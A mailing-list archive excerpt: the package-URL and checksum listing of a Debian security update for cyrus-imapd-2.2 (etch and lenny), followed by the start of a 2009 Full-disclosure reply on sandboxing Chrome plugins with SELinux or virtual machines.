    Size/MD5 checksum:   131612 529762ec9ddf5e977f3e67c66f515b4b
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_mips.deb
    Size/MD5 checksum:  1139822 200b6dd15db426eddcf168fabb0c7650
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_mips.deb
    Size/MD5 checksum:  5724374 818c69b0f02cf6bfb63c7df6665bf47a
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_mips.deb
    Size/MD5 checksum:   275672 41baea034434a95fc7e50db1dafc76cb
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_mips.deb
    Size/MD5 checksum:   280648 6f9cd5a2a67f2136b1817660433b3438

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_mipsel.deb
    Size/MD5 checksum:   964932 ace8e981abfd98d2a9c60def26a54daf
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_mipsel.deb
    Size/MD5 checksum:   175416 cce9c155a908c405dda787db8896f513
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_mipsel.deb
    Size/MD5 checksum:  5824866 7015c9b7e457888272de6e475782d66d
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_mipsel.deb
    Size/MD5 checksum:   277762 79f6a60b4305fc3e79566bc100ba3b66
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_mipsel.deb
    Size/MD5 checksum:   133800 f4f5783e023e6d310541a56263f3f433
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_mipsel.deb
    Size/MD5 checksum:   624602 ff3fa0ecf23adacb2c8c728dcfc4cb0e
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_mipsel.deb
    Size/MD5 checksum:  1158360 249541f39bca72cb6b8380b64d24e68f
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_mipsel.deb
    Size/MD5 checksum:   286174 9f7a6d69feb2d4c089ee4f3fd9f7f258

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_powerpc.deb
    Size/MD5 checksum:   263006 08abdbd041091669d550a7ea4e26e1e6
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_powerpc.deb
    Size/MD5 checksum:  1118828 2c5f04116c12188f3c8b023c5b864beb
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_powerpc.deb
    Size/MD5 checksum:   131144 379c7776b8b6c2e7ecb7d0b523ac10f7
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_powerpc.deb
    Size/MD5 checksum:   182694 25910f99014aa5b96c12409bcecb323d
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_powerpc.deb
    Size/MD5 checksum:   275900 12f010c65b98ab725291c6f7aa37a86a
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_powerpc.deb
    Size/MD5 checksum:   600038 d3525bc682571fee113c23aba1d4c5a7
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_powerpc.deb
    Size/MD5 checksum:   926620 eb3f3f4a880a47994bc24094dd75c639
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_powerpc.deb
    Size/MD5 checksum:  5622440 897dc61b48bb60992e5623bf093f9ba7

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_s390.deb
    Size/MD5 checksum:  1166812 ded513938753f15a20f4a7fe0bb803fe
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_s390.deb
    Size/MD5 checksum:   134786 27049c527949f688fcd45085ca0396da
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_s390.deb
    Size/MD5 checksum:   961532 4ce255005f50d84c203124e5c7d87951
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_s390.deb
    Size/MD5 checksum:   185522 01cbf67760287b0a6ef2f19245722ab3
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_s390.deb
    Size/MD5 checksum:  5817976 13afac9aa98a1979b4108a9b5b5b38d4
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_s390.deb
    Size/MD5 checksum:   624142 142c5c85ede02ec0ba53d3227902b30f
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_s390.deb
    Size/MD5 checksum:   288062 bbb9b59dfe919a7ddae8a99e82ee661f
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_s390.deb
    Size/MD5 checksum:   272306 300a370534aef595ec1a17c9a167da3d

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_sparc.deb
    Size/MD5 checksum:  5458930 b80eddbc4f93704bed3d0c4744bf7519
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_sparc.deb
    Size/MD5 checksum:   173514 29056e26fdefd9a68951e8d040ec73a9
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_sparc.deb
    Size/MD5 checksum:   903260 5d4051182d7dd4e09ddff981970cc9f2
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_sparc.deb
    Size/MD5 checksum:   263832 aeaf3a757a50603475cdd50573ba711b
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_sparc.deb
    Size/MD5 checksum:   126852 aedc0a0ba623a89c87513c7c6a84c3aa
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_sparc.deb
    Size/MD5 checksum:   586134 fcef04e2023f4ee807040c38642af1bd
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_sparc.deb
    Size/MD5 checksum:  1091036 3a0e96628e485f0f39a616523c0bbf10
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_sparc.deb
    Size/MD5 checksum:   269972 b7371f7e6c3b511bf75e3a9f39cee0a2


Debian GNU/Linux 5.0 alias lenny
- --------------------------------

Debian (stable)
- ---------------

Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1.dsc
    Size/MD5 checksum:     1901 44e6e3b15a4aebed60e9781d8ee84ce9
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1.diff.gz
    Size/MD5 checksum:   261073 e8e5e20452079f67aa34c25e2aa48be0
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13.orig.tar.gz
    Size/MD5 checksum:  2109770 3ff679714836d1d7b1e1df0e026d4844

Architecture independent packages:

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-admin-2.2_2.2.13-14+lenny1_all.deb
    Size/MD5 checksum:    81808 6fda1c6d1f166dddf7a79b79fc2753d0
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-doc-2.2_2.2.13-14+lenny1_all.deb
    Size/MD5 checksum:   229192 445329863f341999ec3d9664cfa5fe89

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_alpha.deb
    Size/MD5 checksum:   646888 6d73aea39ee68adea46761b81b8b5227
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_alpha.deb
    Size/MD5 checksum:   303704 a4777ec7cc1a2f7979b13766dfacbd7e
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_alpha.deb
    Size/MD5 checksum:   200576 1713dc68d72dbc1d4ed9958820fecea9
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_alpha.deb
    Size/MD5 checksum:   294468 f4f6d95fd7fd4ea7110ed070ebc5c475
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_alpha.deb
    Size/MD5 checksum:  6018330 fb860082ab8512607bf16e3963a91f5f
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_alpha.deb
    Size/MD5 checksum:  1001668 278c705ea8cc570e99d1c8bdc06c8518
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_alpha.deb
    Size/MD5 checksum:  1197026 c66d9016c28d320322855f08e0fb62d8
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_alpha.deb
    Size/MD5 checksum:   139572 fefe554e1bddac76c9b537f421311861

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_amd64.deb
    Size/MD5 checksum:   955540 9f4e3ac7dd887b1c42f5ff7e52262153
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_amd64.deb
    Size/MD5 checksum:   136038 6bcf6fb4f66314cfccc608c25334ac03
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_amd64.deb
    Size/MD5 checksum:   191410 78bab8380239c51400832815bd11c02d
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_amd64.deb
    Size/MD5 checksum:  1156738 52b101c102162a23eb6a946a1322491a
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_amd64.deb
    Size/MD5 checksum:   285464 0e63f26291a81d581ae30e26b9884751
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_amd64.deb
    Size/MD5 checksum:   273986 a88ae4d9fb8ebc020db64ac491459758
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_amd64.deb
    Size/MD5 checksum:   620234 d53ab1666ed76dab4693045e42be496f
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_amd64.deb
    Size/MD5 checksum:  5801574 8e74c7d949185825c8dcd55e28f5975c

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_arm.deb
    Size/MD5 checksum:   175372 0d92c2600427d8a9975b73ea434761c8
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_arm.deb
    Size/MD5 checksum:   932516 1c4951303dd61eb6a7143d61357bcf91
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_arm.deb
    Size/MD5 checksum:   603066 5a0df901a4611c6fdd9e3613bad1bece
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_arm.deb
    Size/MD5 checksum:  1124194 81f95ad0cf1a957a07bf7f870e1c32aa
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_arm.deb
    Size/MD5 checksum:   130960 8bd24fd7991f33db5a0427a23b5ddc13
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_arm.deb
    Size/MD5 checksum:   264334 90d369b96786ec01a3f131e8c9f3c321
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_arm.deb
    Size/MD5 checksum:   278086 002516dd6359cb0c44e36ca523347382
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_arm.deb
    Size/MD5 checksum:  5631108 61ca7479fabcb6ffb7b7bbb4a29b7007

armel architecture (ARM EABI)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_armel.deb
    Size/MD5 checksum:   607626 a871bdf8f1d7c862fef4665fe3eeee99
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_armel.deb
    Size/MD5 checksum:   279368 0eadaae722c923c91d10747bc9f1f7ca
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_armel.deb
    Size/MD5 checksum:  1129466 f0762ade759d1034cd1d729b501c94d8
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_armel.deb
    Size/MD5 checksum:   938818 f2388a45e199483d265714939a9b1f28
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_armel.deb
    Size/MD5 checksum:   132338 e2f7ab965d44a4104dd6af128d1632b4
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_armel.deb
    Size/MD5 checksum:   178718 5839a68bb73d90e9299e3ff7c804fb79
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_armel.deb
    Size/MD5 checksum:   264208 1caa1c182b88d6010d8eaa54d1af936d
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_armel.deb
    Size/MD5 checksum:  5657210 27c41a40373077630c128bf962ef4641

hppa architecture (HP PA RISC)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_hppa.deb
    Size/MD5 checksum:   277794 47b6b018a543fd09991383eaffcb6ed5
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_hppa.deb
    Size/MD5 checksum:   136906 8f734c3d8859e23612dd48a39b240c46
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_hppa.deb
    Size/MD5 checksum:  1173392 341576c25d73f2ed70061c0c742c9a59
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_hppa.deb
    Size/MD5 checksum:  5880496 0e6750f2520523286d5d9640a24f528b
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_hppa.deb
    Size/MD5 checksum:   633174 a53d05342643a95add42ff4d52d91b0b
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_hppa.deb
    Size/MD5 checksum:   289136 c54db3546b7f7d4cbbec5adf6d189396
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_hppa.deb
    Size/MD5 checksum:   193532 1ae11a730586b4e46a0ca8c7cea64e97
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_hppa.deb
    Size/MD5 checksum:   976380 5154ebf3a4c8941087295577be619ef7

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_i386.deb
    Size/MD5 checksum:  1110088 f7d3a96fc243ebc905d1993939a11801
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_i386.deb
    Size/MD5 checksum:   131192 cd28bfe9d5be967ce10632f01a9c7575
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_i386.deb
    Size/MD5 checksum:  5585090 863b4fc3a19956f1bddc2736b55d868d
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_i386.deb
    Size/MD5 checksum:   274502 f95b3146115ea695c90ddd8dc7020708
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_i386.deb
    Size/MD5 checksum:   180456 c257f816acb29d347bd33dfccd8d2265
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_i386.deb
    Size/MD5 checksum:   265456 ac82e0ef6d9f2edb51a44e0638535e25
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_i386.deb
    Size/MD5 checksum:   595918 28f1a38c8b66a0af3a03e2b5ce19fbe9
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_i386.deb
    Size/MD5 checksum:   917616 48bdfa3bd9e12a610af982b136bb1af6

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_ia64.deb
    Size/MD5 checksum:   771430 cb04831e0d6a9dbf2cb5a5eab1b278fe
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_ia64.deb
    Size/MD5 checksum:   316202 581ed1aef1546ce8d8a01422e8b4a5c5
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_ia64.deb
    Size/MD5 checksum:  1413990 fa26146af702a2f8a6d35149aecf6406
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_ia64.deb
    Size/MD5 checksum:  7047456 71d9de6fac4c7d73a8179ab76a2b7440
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_ia64.deb
    Size/MD5 checksum:   346112 a3088beb60381741a7dc909ba98a75aa
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_ia64.deb
    Size/MD5 checksum:  1204978 272f7120d28c459339fffc15266ad5ce
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_ia64.deb
    Size/MD5 checksum:   161146 c445d6c961fe4407c17e489430ade888
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_ia64.deb
    Size/MD5 checksum:   247236 e4c46dd79934ff10bfa8db11306007b9

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_mips.deb
    Size/MD5 checksum:   946394 aed066a96bd3e0d5444182f989306bd9
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_mips.deb
    Size/MD5 checksum:   280980 559ff39b36ea88bfdcf97aafebd20542
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_mips.deb
    Size/MD5 checksum:   173234 019e78bbc6a45dd4782618af374fe060
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_mips.deb
    Size/MD5 checksum:  1139338 c446ad30b6b0a241eccaa974ee8d6adb
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_mips.deb
    Size/MD5 checksum:   277560 b99a7e0ed132a0f1f5175aff3ad67917
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_mips.deb
    Size/MD5 checksum:   133612 bfb1320efc0243a73f95cf9e4976cf1d
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_mips.deb
    Size/MD5 checksum:   611228 d157fdbeea845ebea4845521d7648585
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_mips.deb
    Size/MD5 checksum:  5727238 3daa639b2311364f9a6203441a4b2797

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_mipsel.deb
    Size/MD5 checksum:   285356 2307ca920138f8bb479e858714d807f5
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_mipsel.deb
    Size/MD5 checksum:   278816 96bbb0df0d4fa86ff513a029a19782d4
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_mipsel.deb
    Size/MD5 checksum:   178280 c0e74e7017eedecb7f4d33e5bb173770
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_mipsel.deb
    Size/MD5 checksum:  1155126 339b8088d9460087994c9876d4fd716a
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_mipsel.deb
    Size/MD5 checksum:   964206 fd75f31018775e014f6de8274832699a
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_mipsel.deb
    Size/MD5 checksum:   135316 e3ac94b44f50e4d9dec18eeb1258e5ec
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_mipsel.deb
    Size/MD5 checksum:  5816098 ec8b867fbcacba7bc0b54c786ca00126
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_mipsel.deb
    Size/MD5 checksum:   622406 dd181936c3ba9ee488a689c3ebde0560

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_powerpc.deb
    Size/MD5 checksum:  1137354 9b0fafdb9b2a01cf71eb78cf4af6f493
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_powerpc.deb
    Size/MD5 checksum:   195632 5fa6eb34f0549ccc9c453c53e2a39436
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_powerpc.deb
    Size/MD5 checksum:  5710788 30a23743fa48ddbc6fc37c7cad5a4cce
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_powerpc.deb
    Size/MD5 checksum:   267602 df0219d21e73fee2abfa211653443885
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_powerpc.deb
    Size/MD5 checksum:   608732 51b4e46b82af629f835e9b328b6d47b7
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_powerpc.deb
    Size/MD5 checksum:   136346 f34f0eb6f6e0afd53ed9acdfb2906a64
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_powerpc.deb
    Size/MD5 checksum:   940040 b827fde8b097cdf3c9e505921c2a49d9
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_powerpc.deb
    Size/MD5 checksum:   281464 4a821ec7c879afb919b7c5f159baf0be

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-14+lenny1_sparc.deb
    Size/MD5 checksum:   176846 134c224f8d3f8e967558c8d3b2be870a
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-14+lenny1_sparc.deb
    Size/MD5 checksum:   270486 0b11d700d0fe9ca2f0aff6ffede01b72
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-14+lenny1_sparc.deb
    Size/MD5 checksum:   900014 60080a336ef17375f9ac0b742630d52d
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-14+lenny1_sparc.deb
    Size/MD5 checksum:   129400 94930518ba5f655f5ecb7ff81bce6317
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-14+lenny1_sparc.deb
    Size/MD5 checksum:  5481084 05953fc810c3f5640d04cf6b5cd1704d
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-14+lenny1_sparc.deb
    Size/MD5 checksum:  1092142 50f32377b741ac84bff4acf586df3c43
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-14+lenny1_sparc.deb
    Size/MD5 checksum:   263880 7c2cbea5a099957c334f0b154ae16e10
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-14+lenny1_sparc.deb
    Size/MD5 checksum:   585842 b6fbecabcc942fc3714977defd30fb0b


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkqlB9gACgkQHYflSXNkfP+S2ACfdIASYBJnZFE/piyd1aX9BoK7
nWAAoJku4fAMCk651Q96bo0djxBSc5Mi
=wanw
-----END PGP SIGNATURE-----


From yersinia.spiros at gmail.com  Mon Sep  7 22:31:44 2009
From: yersinia.spiros at gmail.com (yersinia)
Date: Mon, 7 Sep 2009 23:31:44 +0200
Subject: [Full-disclosure] why not a sandbox
In-Reply-To: <f027bef40909050358u49109c54r6ca4c398066276b1@mail.gmail.com>
References: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
	<1252095175.4308.47.camel@hkb-desktop>
	<6a5e46470909042032j113d65fu39a299ab9371a018@mail.gmail.com>
	<621e1d10909050323g14461988k5155ddb2235a08d7@mail.gmail.com>
	<f027bef40909050358u49109c54r6ca4c398066276b1@mail.gmail.com>
Message-ID: <b086760e0909071431q53dc84e0k871d65b6389f9a93@mail.gmail.com>

On Sat, Sep 5, 2009 at 12:58 PM, Adrenalin <adrenalinup at gmail.com> wrote:

> It seems like the plugins in Chrome are not in a sandbox
>
> "One additional, important area that is not covered by the sandbox are
> plugins like Flash. Restricting what plugins can do does not fit well with
> what users expect, which makes plugins a major vector for attack. Langley
> said that the plugin support on Linux is relatively new, but "our
> experience on Windows is that, in order for Flash to do all the things that
> various sites expect it to be able to do, the sandbox has to be so full of
> holes that it's rather useless". He is currently looking at SELinux as a
> way to potentially restrict plugins, but, for now, they are wide open. "
>
> Google's Chromium sandbox - http://lwn.net/Articles/347547/ (August 19,
> 2009)
>
> From design-documents page "It is also possible to run the plugin processes
> inside a sandbox target, using the --safe-plugins command line." hm
>
> IMHO, if you want to go in a real or almost so , sandbox you have to
execute with a MAC security policy. Something like
http://danwalsh.livejournal.com/13376.html

BTW, xguest is on Fedora 10/11.  But a virtual machine could be better.
Protected with svirt, of course. http://danwalsh.livejournal.com/30565.html


> On Sat, Sep 5, 2009 at 12:23 PM, BlackHawk <hawkgotyou at gmail.com> wrote:
